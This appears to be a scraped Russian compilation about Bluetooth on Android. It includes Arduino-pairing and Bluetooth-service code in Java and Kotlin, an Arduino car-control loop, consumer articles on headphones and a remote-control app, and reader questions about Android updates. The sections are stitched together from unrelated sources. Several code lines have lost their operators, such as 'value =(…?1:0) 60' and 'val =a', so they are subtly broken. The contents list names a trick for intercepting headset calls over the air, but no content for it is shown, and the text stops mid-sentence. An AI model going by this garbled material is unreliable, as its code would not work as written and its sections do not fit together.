- Основная активность, сопряжение arduino и android
- Что такое связь bluetooth
- Добавляем основной код
- Определение BroadcastReceiver
- Определите сервис Bluetooth
- Воспроизведение музыки через bluetooth на android: видео
- Дистанционное управление android устройствами с помощью bluetooth | 4tablet-pc
- Заготовка
- Зачем нужен bluetooth на планшете
- Как наладить
- Метод loop() и дополнительные функции
- Настройки bluetooth в режиме разработчика – пошаговая инструкция для смартфонов android
- Ответы на вопросы читателей
- Трюк 4: работаем с bt-адаптером напрямую
- Трюк 6: перехватываем из эфира разговоры по гарнитуре
Основная активность, сопряжение arduino и android
Наследуем класс от AppCompatActivity и объявляем переменные:
public class MainActivity extends AppCompatActivity {
private BluetoothAdapter bluetoothAdapter;
private ListView listView;
private ArrayList<String> pairedDeviceArrayList;
private ArrayAdapter<String> pairedDeviceAdapter;
public static BluetoothSocket clientSocket;
private Button buttonStartControl;
}
Метод onCreate() опишу построчно:
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState); //обязательная строчка
//прикрепляем ранее созданную разметку
setContentView(R.layout.activity_main);
//цепляем кнопку из разметки
Button buttonStartFind = (Button) findViewById(R.id.button_start_find);
//цепляем layout, в котором будут отображаться найденные устройства
listView = (ListView) findViewById(R.id.list_device);
//устанавливаем действие на клик
buttonStartFind.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
//если разрешения получены (функция ниже)
if(permissionGranted()) {
//адаптер для управления блютузом
bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
if(bluetoothEnabled()) { //если блютуз включен (функция ниже)
findArduino(); //начать поиск устройства (функция ниже)
}
}
}
});
//цепляем кнопку для перехода к управлению
buttonStartControl = (Button) findViewById(R.id.button_start_control);
buttonStartControl.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
//объект для запуска новых активностей
Intent intent = new Intent();
//связываем с активностью управления
intent.setClass(getApplicationContext(), ActivityControl.class);
//закрыть эту активность, открыть экран управления
startActivity(intent);
}
});
}
Нижеприведенные функции проверяют, получено ли разрешение на использование блютуза (без разрешение пользователя мы не сможем передавать данные) и включен ли блютуз:
Что такое связь bluetooth
В самом начале следует объяснить, что такое Bluetooth. Это стандарт беспроводной связи между устройствами малого радиуса действия, который для передачи данных использует радиосвязь. С помощью Bluetooth мы можем передавать файлы, документы, видео и музыку.
Bluetooth является открытым стандартом, который был описан в спецификации IEEE 802.15.1. Она включает в себя три основных класса мощности с пределами дальности действия 1 метр, 10 метров и 100 метров.
Разработка стандарта Bluetooth была инициирована компанией Ericsson, которая вместе с IBM, Intel, Nokia и Toshiba создали в 1994 году группу SIG (Special Interest Group), целью которой была разработка универсального стандарта беспроводной связи малого радиуса действия.
Первая версия стандарта Bluetooth 1.0 была представлена в 1999 году. Описание решения занимало до 1500 страниц.
В настоящее время стандарт – это Bluetooth 5.0 ( новый Bluetooth 5.1), а также популярный старый стандарт Bluetooth 4.2.
В самых простых случаях Bluetooth соединяет два устройства, например, смартфон с гарнитурой в легковом автомобиле. Подключение создается с помощью PAN (Personal Area Network), в котором есть одно соединение типа «точка-точка». Любое устройство, имеющее Bluetooth, имеет уникальный AMA (Active Member Address), т.е. идентификатор, который позволяет легко узнавать устройство.
Bluetooth также позволяет подключать большее количество устройств (до 8) в одной сети. В этом случае используется подключение типа «точка-много точек», когда одно устройство выполняет роль сервера, а остальные роль узлов.
Кроме того, устройства Bluetooth имеют функции standby (режим ожидания), благодаря которой пользователю не нужно каждый раз подключать между собой устройства. Например, мышь, связанная с устройством, будет автоматически подключаться после перезагрузки.
Теоретическая спецификация Bluetooth предусматривает возможность использования до 256 устройств в режиме ожидания. Это возможно благодаря адресации PMA (Passive Member Adres), которая имеет разрядность 8 бит (28 = 256 устройств).
Добавляем основной код
Пришла пора вдохнуть жизнь в наше приложение. Открываем файл MainActivity.java
(src → ru.amperka.arduinobtled). Изначально он содержит следующий код:
- MainActivityAutogen.java
packageru.amperka.arduinobtled; importandroid.os.Bundle;importandroid.app.Activity;importandroid.view.Menu; publicclass MainActivity extends Activity { @Override protectedvoid onCreate(Bundle savedInstanceState){super.onCreate(savedInstanceState); setContentView(R.layout.activity_main);} @Override publicboolean onCreateOptionsMenu(Menu menu){// Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu);returntrue;} }
Дополним код в соответствии с тем, что нам нужно:
Будем включать Bluetooth, если он выключен.
Будем обрабатывать нажатия на кнопки
Будем посылать информацию о том, какая кнопка была нажата.
Передавать на Arduino мы будем один байт с двузначным числом. Первая цифра числа — номер пина, к которому подключен тот или иной светодиод, вторая — состояние светодиода: 1 — включен, 0 — выключен.
Число-команда, рассчитывается очень просто:
Если нажата красная кнопка, то берется число 60 (для красного светодиода мы выбрали 6-й пин Arduino) и к нему прибавляется 1 или 0 в зависимости от того, должен ли сейчас гореть светодиод или нет. Для зеленой кнопки всё аналогично, только вместо 60 берется 70 (поскольку зеленый светодиод подключен к 7 пину).
В итоге, в нашем случае, возможны 4 команды: 60, 61, 70, 71.
Напишем код, который реализует всё сказанное.
- MainActivity.java
packageru.amperka.arduinobtled; importjava.io.IOException;importjava.io.OutputStream;importjava.lang.reflect.InvocationTargetException;importjava.lang.reflect.Method; importandroid.app.Activity;importandroid.bluetooth.BluetoothAdapter;importandroid.bluetooth.BluetoothDevice;importandroid.bluetooth.BluetoothSocket;importandroid.content.Intent;importandroid.os.Bundle;importandroid.util.Log;importandroid.view.Menu;importandroid.view.View;importandroid.view.View.OnClickListener;importandroid.widget.Toast;importandroid.widget.ToggleButton; publicclass MainActivity extends Activity implementsView.OnClickListener{ //Экземпляры классов наших кнопок ToggleButton redButton; ToggleButton greenButton; //Сокет, с помощью которого мы будем отправлять данные на Arduino BluetoothSocket clientSocket; //Эта функция запускается автоматически при запуске приложения @Override protectedvoid onCreate(Bundle savedInstanceState){super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); //"Соединям" вид кнопки в окне приложения с реализацией redButton =(ToggleButton) findViewById(R.id.toggleRedLed); greenButton =(ToggleButton) findViewById(R.id.toggleGreenLed); //Добавлем "слушатель нажатий" к кнопке redButton.setOnClickListener(this); greenButton.setOnClickListener(this); //Включаем bluetooth. Если он уже включен, то ничего не произойдетString enableBT = BluetoothAdapter.ACTION_REQUEST_ENABLE; startActivityForResult(new Intent(enableBT), 0); //Мы хотим использовать тот bluetooth-адаптер, который задается по умолчанию BluetoothAdapter bluetooth = BluetoothAdapter.getDefaultAdapter(); //Пытаемся проделать эти действияtry{//Устройство с данным адресом - наш Bluetooth Bee//Адрес опредеяется следующим образом: установите соединение//между ПК и модулем (пин: 1234), а затем посмотрите в настройках//соединения адрес модуля. Скорее всего он будет аналогичным. BluetoothDevice device = bluetooth.getRemoteDevice("00:13:02:01:00:09"); //Инициируем соединение с устройствомMethod m = device.getClass().getMethod("createRfcommSocket", newClass[]{int.class}); clientSocket =(BluetoothSocket) m.invoke(device, 1); clientSocket.connect(); //В случае появления любых ошибок, выводим в лог сообщение}catch(IOException e){ Log.d("BLUETOOTH", e.getMessage());}catch(SecurityException e){ Log.d("BLUETOOTH", e.getMessage());}catch(NoSuchMethodException e){ Log.d("BLUETOOTH", e.getMessage());}catch(IllegalArgumentException e){ Log.d("BLUETOOTH", e.getMessage());}catch(IllegalAccessException e){ Log.d("BLUETOOTH", e.getMessage());}catch(InvocationTargetException e){ Log.d("BLUETOOTH", e.getMessage());} //Выводим сообщение об успешном подключении Toast.makeText(getApplicationContext(), "CONNECTED", Toast.LENGTH_LONG).show(); } @Override publicboolean onCreateOptionsMenu(Menu menu){// Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu);returntrue;} //Как раз эта функция и будет вызываться @Override publicvoid onClick(View v){ //Пытаемся послать данныеtry{//Получаем выходной поток для передачи данныхOutputStream outStream = clientSocket.getOutputStream(); int value =0; //В зависимости от того, какая кнопка была нажата, //изменяем данные для посылкиif(v == redButton){ value =(redButton.isChecked()?1:0) 60;}elseif(v == greenButton){ value =(greenButton.isChecked()?1:0) 70;} //Пишем данные в выходной поток outStream.write(value); }catch(IOException e){//Если есть ошибки, выводим их в лог Log.d("BLUETOOTH", e.getMessage());}}}
Определение BroadcastReceiver
Следующим шагом будет определение нашего BroadcastReceiver, задачей которого будет фильтрация намерений с нашими действиями, определенными до получения LocalBroadcastManager, для запуска функций обратного вызова, определенных в предыдущем разделе. Поэтому мы используем BluetoothSDKListenerHelper как:
class BluetoothSDKListenerHelper {
companion object {
private var mBluetoothSDKBroadcastReceiver: BluetoothSDKBroadcastReceiver? = null
class BluetoothSDKBroadcastReceiver : BroadcastReceiver() {
private var mGlobalListener: IBluetoothSDKListener? = null
public fun setBluetoothSDKListener(listener: IBluetoothSDKListener) {
mGlobalListener = listener
}
public fun removeBluetoothSDKListener(listener: IBluetoothSDKListener): Boolean {
if (mGlobalListener == listener) {
mGlobalListener = null
}
return mGlobalListener == null
}
override fun onReceive(context: Context?, intent: Intent?) {
val device =
intent!!.getParcelableExtra<BluetoothDevice>(BluetoothUtils.EXTRA_DEVICE)
val message = intent.getStringExtra(BluetoothUtils.EXTRA_MESSAGE)
when (intent.action) {
BluetoothUtils.ACTION_DEVICE_FOUND -> {
mGlobalListener!!.onDeviceDiscovered(device)
}
BluetoothUtils.ACTION_DISCOVERY_STARTED -> {
mGlobalListener!!.onDiscoveryStarted()
}
BluetoothUtils.ACTION_DISCOVERY_STOPPED -> {
mGlobalListener!!.onDiscoveryStopped()
}
BluetoothUtils.ACTION_DEVICE_CONNECTED -> {
mGlobalListener!!.onDeviceConnected(device)
}
BluetoothUtils.ACTION_MESSAGE_RECEIVED -> {
mGlobalListener!!.onMessageReceived(device, message)
}
BluetoothUtils.ACTION_MESSAGE_SENT -> {
mGlobalListener!!.onMessageSent(device)
}
BluetoothUtils.ACTION_CONNECTION_ERROR -> {
mGlobalListener!!.onError(message)
}
BluetoothUtils.ACTION_DEVICE_DISCONNECTED -> {
mGlobalListener!!.onDeviceDisconnected()
}
}
}
}
public fun registerBluetoothSDKListener(
context: Context?,
listener: IBluetoothSDKListener
) {
if (mBluetoothSDKBroadcastReceiver == null) {
mBluetoothSDKBroadcastReceiver = BluetoothSDKBroadcastReceiver()
val intentFilter = IntentFilter().also {
it.addAction(BluetoothUtils.ACTION_DEVICE_FOUND)
it.addAction(BluetoothUtils.ACTION_DISCOVERY_STARTED)
it.addAction(BluetoothUtils.ACTION_DISCOVERY_STOPPED)
it.addAction(BluetoothUtils.ACTION_DEVICE_CONNECTED)
it.addAction(BluetoothUtils.ACTION_MESSAGE_RECEIVED)
it.addAction(BluetoothUtils.ACTION_MESSAGE_SENT)
it.addAction(BluetoothUtils.ACTION_CONNECTION_ERROR)
it.addAction(BluetoothUtils.ACTION_DEVICE_DISCONNECTED)
}
LocalBroadcastManager.getInstance(context!!).registerReceiver(
mBluetoothSDKBroadcastReceiver!!, intentFilter
)
}
mBluetoothSDKBroadcastReceiver!!.setBluetoothSDKListener(listener)
}
public fun unregisterBluetoothSDKListener(
context: Context?,
listener: IBluetoothSDKListener
) {
if (mBluetoothSDKBroadcastReceiver != null) {
val empty = mBluetoothSDKBroadcastReceiver!!.removeBluetoothSDKListener(listener)
if (empty) {
LocalBroadcastManager.getInstance(context!!)
.unregisterReceiver(mBluetoothSDKBroadcastReceiver!!)
mBluetoothSDKBroadcastReceiver = null
}
}
}
}
}
В действии или фрагменте мы реализуем наш IBluetoothSDKListener, который мы зарегистрируем через две функции registerBluetoothSDKListner() и unregisterBluetoothSDKListner(). Например:
Определите сервис Bluetooth
А теперь самая сложная часть – Bluetooth Service. Мы собираемся определить класс, расширяющий Service, в котором мы определим функции, позволяющие привязывать Service и управлять потоками Bluetooth-соединения:
class BluetoothSDKService : Service() {
// Service Binder
private val binder = LocalBinder()
// Bluetooth stuff
private lateinit var bluetoothAdapter: BluetoothAdapter
private lateinit var pairedDevices: MutableSet<BluetoothDevice>
private var connectedDevice: BluetoothDevice? = null
private val MY_UUID = "..."
private val RESULT_INTENT = 15
// Bluetooth connections
private var connectThread: ConnectThread? = null
private var connectedThread: ConnectedThread? = null
private var mAcceptThread: AcceptThread? = null
// Invoked only first time
override fun onCreate() {
super.onCreate()
bluetoothAdapter = BluetoothAdapter.getDefaultAdapter()
}
// Invoked every service star
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
return START_STICKY
}
/**
* Class used for the client Binder.
*/
inner class LocalBinder : Binder() {
/*
Function that can be called from Activity or Fragment
*/
}
/**
* Broadcast Receiver for catching ACTION_FOUND aka new device discovered
*/
private val discoveryBroadcastReceiver = object : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent) {
/*
Our broadcast receiver for manage Bluetooth actions
*/
}
}
private inner class AcceptThread : Thread() {
// Body
}
private inner class ConnectThread(device: BluetoothDevice) : Thread() {
// Body
}
@Synchronized
private fun startConnectedThread(
bluetoothSocket: BluetoothSocket?,
) {
connectedThread = ConnectedThread(bluetoothSocket!!)
connectedThread!!.start()
}
private inner class ConnectedThread(private val mmSocket: BluetoothSocket) : Thread() {
// Body
}
override fun onDestroy() {
super.onDestroy()
try {
unregisterReceiver(discoveryBroadcastReceiver)
} catch (e: Exception) {
// already unregistered
}
}
override fun onBind(intent: Intent?): IBinder? {
return binder
}
private fun pushBroadcastMessage(action: String, device: BluetoothDevice?, message: String?) {
val intent = Intent(action)
if (device != null) {
intent.putExtra(BluetoothUtils.EXTRA_DEVICE, device)
}
if (message != null) {
intent.putExtra(BluetoothUtils.EXTRA_MESSAGE, message)
}
LocalBroadcastManager.getInstance(applicationContext).sendBroadcast(intent)
}
}
Чтобы сделать суть более читабельной, я закомментировал части о потоках, которые вы можете получить из официальной документации.
Как вы видите, в LocalBinder можно определить функции, которые будут видны действиям после привязки к ним. Например, мы можем определить функции для операций обнаружения, отправки сообщения или соединения, которые затем будут выполняться операции внутри сервиса.
/**
* Class used for the client Binder.
*/
inner class LocalBinder : Binder() {
/**
* Enable the discovery, registering a broadcastreceiver {@link discoveryBroadcastReceiver}
* The discovery filter by LABELER_SERVER_TOKEN_NAME
*/
public fun startDiscovery(context: Context) {
val filter = IntentFilter(BluetoothDevice.ACTION_FOUND)
filter.addAction(BluetoothDevice.ACTION_ACL_DISCONNECTED)
registerReceiver(discoveryBroadcastReceiver, filter)
bluetoothAdapter.startDiscovery()
pushBroadcastMessage(BluetoothUtils.ACTION_DISCOVERY_STARTED, null, null)
}
/**
* stop discovery
*/
public fun stopDiscovery() {
bluetoothAdapter.cancelDiscovery()
pushBroadcastMessage(BluetoothUtils.ACTION_DISCOVERY_STOPPED, null, null)
}
// other stuff
}
Затем в потоках, управляющих сокетами, вы можете использовать функцию pushBroadcastMessage() для генерации событий и добавления информационного наполнения, такого как удаленное устройство и сообщение. Например:
private inner class ConnectedThread(private val mmSocket: BluetoothSocket) : Thread() {
private val mmInStream: InputStream = mmSocket.inputStream
private val mmOutStream: OutputStream = mmSocket.outputStream
private val mmBuffer: ByteArray = ByteArray(1024) // mmBuffer store for the stream
override fun run() {
var numBytes: Int // bytes returned from read()
// Keep listening to the InputStream until an exception occurs.
while (true) {
// Read from the InputStream.
numBytes = try {
mmInStream.read(mmBuffer)
} catch (e: IOException) {
pushBroadcastMessage(
BluetoothUtils.ACTION_CONNECTION_ERROR,
null,
"Input stream was disconnected"
)
break
}
val message = String(mmBuffer, 0, numBytes)
// Send to broadcast the message
pushBroadcastMessage(
BluetoothUtils.ACTION_MESSAGE_RECEIVED,
mmSocket.remoteDevice,
message
)
}
}
// Call this from the main activity to send data to the remote device.
fun write(bytes: ByteArray) {
try {
mmOutStream.write(bytes)
// Send to broadcast the message
pushBroadcastMessage(
BluetoothUtils.ACTION_MESSAGE_SENT,
mmSocket.remoteDevice,
null
)
} catch (e: IOException) {
pushBroadcastMessage(
BluetoothUtils.ACTION_CONNECTION_ERROR,
null,
"Error occurred when sending data"
)
return
}
}
// Call this method from the main activity to shut down the connection.
fun cancel() {
try {
mmSocket.close()
} catch (e: IOException) {
pushBroadcastMessage(
BluetoothUtils.ACTION_CONNECTION_ERROR,
null,
"Could not close the connect socket"
)
}
}
}
Мы закончили!
Воспроизведение музыки через bluetooth на android: видео
Кто не любит слушать музыку? Многим она помогает пережить трудные моменты в жизни, являясь своего рода антидепрессантом. Музыка переносит человека в совершенно другой мир. В эти минуты можно почувствовать себя свободным, порхая над землёй как бабочка, только освободившаяся от своего кокона.
Беспроводные наушники решили проблему с запутыванием проводов
Не будем отрицать популярность настоящих колонок, но в ходе городской суеты мы всё чаще прибегаем к менее габаритным устройствам. Возможно, вы сейчас подумали о портативных колонках, но поспешим вас исправить. Речь идёт о наушниках. Именно они и составляют нам компанию в поездках на общественном транспорте, одиноким прогулкам по городу или парку.
Наверняка вы видели где-нибудь в метро враждебно настроенного человека, который усердно распутывает наушники. Да это же мы с вами! Некоторые прибегают к различным хитростям, чтобы всячески избежать этого, но всё же каждый владелец проводных наушников хотя бы раз в жизни их распутывал.
Это просто неизбежно. Однако, есть те, которых эта проблема больше не касается. И дело совсем не в том, что они выкинули это волшебное изобретение для слушателей и больше не слушают музыку. Им достаточно было купить беспроводные наушники.
Дистанционное управление android устройствами с помощью bluetooth | 4tablet-pc
У вас есть Android планшет или смартфон с HDMI выходом, и вы знаете, что с его помощью можно смотреть фильмы на большом экране телевизора или монитора. Но это очень неудобно – скажете вы. То ли дело медиаплеер: расположился на диване, взял в руки дистанционку, и смотри все что хочешь в свое удовольствие.
Однако, если у вас в хозяйстве есть еще одно Android устройство, вам теперь не нужен медиаплеер. С помощью бесплатного приложения Tablet Remote вы можете превратить его в пульт управления любым Android планшетом или телефоном. Достаточно просто установить на оба устройства программу и настроить ее.
Программа Tablet Remote позволит вам управлять воспроизведением видео и музыки, регулировать яркость изображения и громкость звука, отправлять такие команды, как «Воспроизведение», «Пауза», «Перемотка» и переключать треки. Кроме того, вы можете подавать системные команды «Назад», «Меню», «Домой» и «Поиск» и даже вводить текст на другом устройстве с помощью экранной клавиатуры.
Мало того, вам даже не потребуются root права ни на одном из устройств.
Для того, чтобы настроить программу, вам нужно запустить ее на обеих устройствах, включить на них Bluetooth и подключить их друг к другу. Для этого вы должны выбрать «Connection» -> «Scan Devices», и после того, как устройство будет обнаружено, нажать «Make Device Discoverable», чтобы оно появилось в списке. По умолчанию Bluetooth активируется на 120 секунд (2 минуты), поэтому не забудьте убрать это ограничение в разделе “Настройки” -> “Беспроводные сети” -> “Bluetooth” настроек вашего устройства.
Теперь нам нужно на устройстве, которым мы хотим управлять зайти в настройки программы, нажав кнопку «Setup» и включить обе опции: «Enable Tablet Remote» и «Change The Input method For Tablet Remote»
Все, с настройками покончено. Теперь, когда ваши устройства подключены друг к другу, просто нажмите на устройстве, которое будет выступать в качестве пульта управления кнопку «Remote», и на нем откроется окно с имитацией пульта управления, которым вы и будете посылать команды на второе устройство.
Чтобы включить полноэкранный режим, включите опцию «Hide Status bar» в разделе настроек «Settings» приложения.
Приложение Tablet Remote прекрасно работает как на телефонах, так и на планшетах, и когда мы пробовали управлять HTC Desire Z, он принимал команды от другого смартфона, даже в режиме ожидания (когда его экран был погашен).
Скачать бесплатно программу Tablet Remote можно в Android Market:
Похожие материалы:
Управляем закачкой торрентов с помощью Android телефона или планшета
Программы для Андроид. Samsung Smart View портирован на все Android устройства! (Скачать)
Приложение Smart View App для Samsung Galaxy S II позволяет передавать видео с телевизора на экран смартфона.
Mobile Mouse Lite. Удобный пульт ДУ для компьютера из Android телефона или планшета
Motorola Corvair. Новый компактный планшет или просто умная дистанционка?
Заготовка
Разработка для ОС Android ведется в среде разработки ADT, Android Development Tools. Которую можно скачать с портала Google для разработчиков.
После скачивания и установке ADT, смело его запускаем. Однако, еще рано приступать к разработке приложения. Надо еще скачать Android SDK нужной версии. Для этого необходимо открыть Android SDK Manager «Window → Android SDK Manager». В списке необходимо выбрать нужный нам SDK, в нашем случае Android 2.3.3 (API 10). Если телефона нет, то выбирайте 2.3.3 или выше; а если есть — версию, совпадающую с версией ОС телефона. Затем нажимаем на кнопку «Install Packages», чтобы запустить процесс установки.
После завершения скачивания и установки мы начинаем создавать приложение. Выбираем «File → New → Android Application Project». Заполним содержимое окна так, как показано на рисунке.
В выпадающих списках «Minimum Required SDK», «Target SDK», «Compile With» выбираем ту версию, которую мы скачали ранее.
Более новые версии SDK поддерживают графические темы для приложений, а старые нет. Поэтому в поле «Theme» выбираем «None».
Нажимаем «Next».
Снимаем галочку с «Create custom launcher icon»: в рамках данной статьи не будем заострять внимание на создании иконки приложения. Нажимаем «Next».
В появившемся окне можно выбрать вид «Activity»: вид того, что будет на экране, когда будет запущено приложение. Выбираем «Blank activity», что означает, что мы хотим начать всё с чистого листа. Нажимаем «Next».
В нашем приложении будет всего одно Activity, поэтому в появившемся окне можно ничего не менять. Поэтому просто жмем на «Finish».
Все, наше приложение создано.
Зачем нужен bluetooth на планшете
Блютуз адаптер для планшета выполняет важную функцию. При этом стоит заметить, что каждый современный смартфон, телефон, планшет и практически любой ноутбук имеет встроенный модуль Bluetooth. Благодаря этому в любой момент и без использования каких-либо приложений вы можете обмениваться файлами с друзьями. Однако, это не основная задача данной технологии.
Изначально она разрабатывалась для подключения беспроводной гарнитуры. Это очень удобно, так как в момент разговора ваши руки свободны и пользователя не сковывают провода, которые могут ограничивать действия.
Также в наше время модуль Bluetooth используется и в акустических системах. Это позволяет воспроизводить аудиоконтент с ноутбука, смартфона, планшета и так далее без использования проводного соединения.
Помимо всего перечисленного, Блютуз модуль на планшете с Андроид позволяет раздавать мобильный интернет другим пользователям по беспроводной связи. При этом скорость передачи данных по Bluetooth хоть и уступает 3G связи, но этого вполне достаточно для определенных целей.
К преимуществам данного типа соединения можно отнести следующее:
- Стабильность соединение.
- Простота использования.
- Помехоустойчивость.
- Минимальные настройки.
Все эти положительные моменты позволили данной технологии прочно занять свою нишу, не уступая современным видам связи.
Как наладить
Когда убедились, что эти устройства поддерживают функцию SmartShare, следует выполнить такие шаги.
На обоих аппаратах:
- Перейдите в «Настройки».
- Откройте пункт «Bluetooth».
- Переключите качельку, которая находится справа сверху, в активное положение для включения беспроводной связи.
- Убедитесь, что активирован флажок напротив имени девайса. Это нужно, чтобы оба аппарата смогли обнаружить друг друга.
На девайсе, который будет выступать плеером:
- В окне со списком устройств нажмите на клавишу «Поиск», чтобы произвести сканирование доступных девайсов.
- Выберите название того смартфона, который будет выступать в качестве колонки, чтобы произвести подключение.
- Если появится окно с запросом подтверждения, согласитесь, на обоих аппаратах нажав на «Соединение».
- Выйдите в главное меню и запустите стандартный проигрыватель, в большинстве случаев его значок называется «Музыка».
- После запуска проигрывателя, к примеру, на LG необходимо нажать на пиктограмму в виде коммуникатора с исходящей из него стрелкой, она находится в правой верхней части дисплея.
- В следующем окне отобразятся доступные устройства для потокового воспроизведения. Если вы сразу не увидели название нужного вам устройства, нажмите на сенсорную кнопку «Добавить».
- Выберите закладку «Bluetooth».
- Выберите название нужного устройства, после чего выполнится сопряжение.
- Теперь можно запускать ваши треки, а звук будет проигрываться на соседнем устройстве.
Метод loop() и дополнительные функции
В постоянно повторяющемся методе loop() происходит считывание данных. Сначала рассмотрим основной алгоритм, а потом функции, задействованные в нем.
void loop() {
//если хоть несчитанные байты
if(BTSerial.available() > 0) {
//считываем последний несчитанный байт
char a = BTSerial.read();
if (a == '@') {
//если он равен @ (случайно выбранный мною символ)
//обнуляем переменную val
val = "";
//указываем, что сейчас считаем скорость
readSpeed = true;
} else if (readSpeed) {
//если пора считывать скорость и байт не равен решетке
//добавляем байт к val
if(a == '#') {
//если байт равен решетке, данные о скорости кончились
//выводим в монитор порта для отладки
Serial.println(val);
//указываем, что скорость больше не считываем
readSpeed = false;
//передаем полученную скорость в функцию езды
go(val.toInt());
//обнуляем val
val = "";
//выходим из цикла, чтобы считать следующий байт
return;
}
val =a;
} else if (a == '*') {
//начинаем считывать угол поворота
readAngle = true;
} else if (readAngle) {
//если решетка, то заканчиваем считывать угол
//пока не решетка, добавляем значение к val
if(a == '#') {
Serial.println(val);
Serial.println("-----");
readAngle = false;
//передаем значение в функцию поворота
turn(val.toInt());
val= "";
return;
}
val =a;
}
//получаем время последнего приема данных
lastTakeInformation = millis();
} else {
//если несчитанных байтов нет, и их не было больше 150 миллисекунд
//глушим двигатели
if(millis() - lastTakeInformation > 150) {
lastTakeInformation = 0;
analogWrite(angleSpeed, 0);
analogWrite(speedRight, 0);
analogWrite(speedLeft, 0);
}
}
}
Получаем результат: с телефона отправляем байты в стиле “@скорость#угол#” (например, типичная команда “@200#60#”. Данный цикл повторяется каждый 100 миллисекунд, так как на андроиде мы установили именно этот промежуток отправки команд. Короче делать нет смысла, так как они начнут становится в очередь, а если сделать длиннее, то колеса начнут двигаться рывками.
Все задержки через команду delay(), которые вы увидите далее, подобраны не через физико-математические вычисления, а опытным путем. Благодаря всем выставленным задрежам, машинка едет плавно, и у всех команд есть время на отработку (токи успевают пробежаться).
В цикле используются две побочные функции, они принимают полученные данные и заставляют машинку ехать и крутится.
void go(int mySpeed) {
//если скорость больше 0
if(mySpeed > 0) {
//едем вперед
digitalWrite(dirRight, HIGH);
analogWrite(speedRight, mySpeed);
digitalWrite(dirLeft, HIGH);
analogWrite(speedLeft, mySpeed);
} else {
//а если меньше 0, то назад
digitalWrite(dirRight, LOW);
analogWrite(speedRight, abs(mySpeed) 30);
digitalWrite(dirLeft, LOW);
analogWrite(speedLeft, abs(mySpeed) 30);
}
delay(10);
}
void turn(int angle) {
//подаем ток на плюс определителя угла
digitalWrite(pinAngleStop, HIGH);
//даем задержку, чтобы ток успел установиться
delay(5);
//если угол 150 и больше, поворачиваем вправо
//если 30 и меньше, то влево
//промежуток от 31 до 149 оставляем для движения прямо
if(angle > 149) {
//если замкнут белый, но разомкнуты черный и красный
//значит достигнуто крайнее положение, дальше крутить нельзя
//выходим из функции через return
if( digitalRead(pinWhite) == HIGH && digitalRead(pinBlack) == LOW && digitalRead(pinRed) == LOW) {
return;
}
//если проверка на максимальный угол пройдена
//крутим колеса
digitalWrite(angleDirection, HIGH);
analogWrite(angleSpeed, speedTurn);
} else if (angle < 31) {
if(digitalRead(pinRed) == HIGH && digitalRead(pinBlack) == HIGH && digitalRead(pinWhite) == HIGH) {
return;
}
digitalWrite(angleDirection, LOW);
analogWrite(angleSpeed, speedTurn);
}
//убираем питание
digitalWrite(pinAngleStop, LOW);
delay(5);
}
https://www.youtube.com/watch?v=subscribe_
Поворачивать, когда андроид отправляет данные о том, что пользователь зажал угол 60, 90, 120, не стоит, иначе не сможете ехать прямо. Да, возможно сразу не стоило отправлять с андроида команду на поворот, если угол слишком мал, но это как-то коряво на мой взгляд.
Настройки bluetooth в режиме разработчика – пошаговая инструкция для смартфонов android
В этом режиме находится несколько функций, которые могут быть полезны.
- Показывать блютуз-устройства без названий. Эта функция говорит сама за себя. Если отключим названия устройств, то будем видеть только их MAC адреса.
- Версия блютуз AVRCP – управление различными устройствами (телевизор дом.кинотеатр и другие). Эта функция позволяет выбрать версию от 1.3 до 1.6.
- Запуск аудиокодека через блютуз. Позволяет выбрать определенный аудиокодек из списка.
- Выбор частоты дискретизации для передачи по блютуз.
- Выбрать глубину кодирования звука.
- Режим аудиоканала (моно или стерео)
- Выбор качества воспроизведения
- Максимально количество подключенных устройств.
Вот столько смартфон имеет настроек блютуз на Андроиде. Возможно, они будут дополняться и меняться с дальнейшими версиями ОС.
Ответы на вопросы читателей
Я не могу обновить программное обеспечение без Play Market. А Play Market говорит, что нужно обновить программное обеспечение.
Обновите версию Андроид либо переустановите Play Market через сайт apkmirror. Если не поможет, придется делать сброс настроек (hard reset).
Позавчера купили новый телефон (Samsung galaxy A50). После обновления ПО карта SD перестала читаться, в т.ч. на других телефонах.
На эту тему есть инструкция, как починить карту памяти . Скорее всего, обнаружены ошибки чтения и нужно отформатировать носитель в поддерживаемой файловой системе.
Когда будет доступно новое обновление Андроид?
У меня телефон Huawei U9500, и я не знала, что надо обновить версию. Сейчас у меня Андроид 4.0.3, как обновить прошивку до новой версии?
Процесс обновления прошивки Huawei описан здесь . Вкратце, есть два способа обновления прошивки Huawei U9500.
- Достаем аккумулятор, зажимаем кнопки громкости на телефоне. После этого начнется процесс обновления Андроид.
- Заходим в Настройки -> Память -> Обновление ПО -> Обновление SD-карты, запускаем обновление ОС Android.
Как обновить версию Андроид? Читала на разных сайтах, пробовала, не получается. У меня Android 4.4.4.
У меня Samsung Duos, версия Андроид 4.1.2 не могу обновить операционную систему до большей версии. Помогите, пожалуйста, обновить!
Для начала нужно узнать, можно ли обновить Андроид на вашем телефоне до версии 5.x. Оказывается, нет. Дело в том, что технические характеристики вашего телефона не позволяют вам устанавливать более новые версии Android.
Пытаюсь обновить версию 8 до самой новой. Пишет «Ошибка» и показывает вскрытого Андроида с висящим над ним красным треугольником с восклицательным знаком.
Приобрел НТС one m7. Не могу обновить Андроид 4.4.2. Аппарат не находит обновление ПО, как решить эту проблему? Как его обновить?
У меня Moto x play, обновлять систему не хочу, постоянно появляется сообщение «Доступно ПО android 6.0.1”, которое дико раздражает.
Для отключения обновлений прошивки, перейдите в настройки Android, раздел О телефоне – Обновление ПО и отключите обновления, сняв галочку напротив соответствующего пункта.
Полетела память на устройстве (телефон перестал включаться), ее заменили, но прошивку поставили не родную. Обновлений для нее нет. Можно ли мне через Kies откатить Андроид (поставить родную) и обновлять ее?
Планшет Acer Iconia A1-810. У меня нет обновлений прошивки. нажимаю обновление системы и пишет «для вашего устройства обновление требуется».
Не открывается номер сборки на Андроиде. Кликала долго. Как быть?
Трюк 4: работаем с bt-адаптером напрямую
Долгое время Bluetooth стеки для Windows предоставляли настолько скудные возможности
